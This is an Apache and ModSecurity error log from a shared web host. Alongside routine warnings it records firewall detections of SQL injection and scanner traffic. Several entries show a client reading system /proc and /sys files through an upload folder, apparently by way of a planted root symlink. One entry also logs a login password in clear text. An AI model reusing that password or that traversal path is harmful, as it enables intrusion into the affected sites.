[Fri Jul 17 09:20:37.149558 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149636 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149676 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149744 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149825 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149915 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.149956 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.150052 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.150744 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.150779 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.150866 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.150929 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151068 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151113 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151182 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151236 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151261 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151317 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151428 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151665 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151830 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151860 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151924 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.151994 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.152097 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.152148 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.152261 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.152309 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.306293 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.409808 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.510946 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.612245 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:37.817405 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.036481 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.141616 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.265854 2026] [core:error] [pid 2013829:tid 2013829] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/snmp
[Fri Jul 17 09:20:38.367195 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.468973 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.572456 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.674735 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.854860 2026] [ssl:error] [pid 2039911:tid 2039911] (5)Input/output error: [client 66.85.158.91:58906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:38.880227 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:38.983291 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:39.398364 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:02/subsystem/drivers/button/bind
[Fri Jul 17 09:20:39.513097 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:39.636426 2026] [core:error] [pid 2013797:tid 2013797] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/udplite6
[Fri Jul 17 09:20:39.719245 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:39.815819 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:39.923911 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/subsystem/drivers_probe
[Fri Jul 17 09:20:40.006403 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:58944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:40.047775 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:40.104231 2026] [security2:error] [pid 2019501:tid 2019501] [client 68.178.160.25:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Lk123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almmkLEWOaI5pmYo9fnTQwAAAAA"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:20:40.104681 2026] [security2:error] [pid 2019501:tid 2019501] [client 68.178.160.25:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almmkLEWOaI5pmYo9fnTQwAAAAA"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:20:40.123146 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:40.227880 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:03/subsystem/drivers_probe
[Fri Jul 17 09:20:40.329009 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:40.530841 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:40.598560 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:41.351840 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:41.557166 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:41.658704 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:41.758368 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:41.925393 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmkQ7FYe46zHK_jL3UkgAAABk"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:20:41.925437 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmkQ7FYe46zHK_jL3UkgAAABk"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:20:42.065458 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:42.162008 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:37676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:42.377471 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:42.579872 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:42.984667 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:43.085024 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:43.185641 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:43.291911 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:43.393799 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:20:43.495486 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:44.635652 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/db/nscd/group
[Fri Jul 17 09:20:44.738510 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:44.904488 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:46.096754 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:46.196240 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:46.734961 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:37916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:46.827548 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/devices/virtio2/driver/unbind
[Fri Jul 17 09:20:48.864144 2026] [security2:error] [pid 2019501:tid 2019501] [client 68.178.160.25:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almmkLEWOaI5pmYo9fnTQwAAAAA"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:20:52.812451 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:58.680706 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmohHlOGcokz2QIwTX0wAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:20:58.680738 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmohHlOGcokz2QIwTX0wAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:20:59.966856 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:03.207297 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:04.062977 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:04.764838 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almmqEkXT4NBqALj2laBegAAABA"]
[Fri Jul 17 09:21:04.764841 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almmqJBVIrrUwtEhdafVmgAAAAU"]
[Fri Jul 17 09:21:04.765183 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almmqJBVIrrUwtEhdafVmgAAAAU"]
[Fri Jul 17 09:21:04.765187 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almmqEkXT4NBqALj2laBegAAABA"]
[Fri Jul 17 09:21:04.765652 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almmqJBVIrrUwtEhdafVmgAAAAU"]
[Fri Jul 17 09:21:04.765676 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almmqEkXT4NBqALj2laBegAAABA"]
[Fri Jul 17 09:21:08.279490 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmrI-0g_VSPeIeFN3E_QAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:08.279525 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmrI-0g_VSPeIeFN3E_QAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:09.004521 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:12.680026 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:12.934606 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:15.928155 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:16.133693 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:20.495980 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:20.578752 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:25.667378 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:26.909921 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.15.163.73:36206] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almmvvwooI4qY7Jg93paEgAAABM"]
[Fri Jul 17 09:21:26.910101 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.15.163.73:36206] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almmvvwooI4qY7Jg93paEgAAABM"]
[Fri Jul 17 09:21:26.910419 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.15.163.73:36206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almmvvwooI4qY7Jg93paEgAAABM"]
[Fri Jul 17 09:21:26.930127 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.15.163.73:36206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/403.shtml"] [unique_id "almmvvwooI4qY7Jg93paEgAAABM"]
[Fri Jul 17 09:21:27.452453 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:29.116918 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:29.118256 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:35.545805 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:35.586292 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:39.548268 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
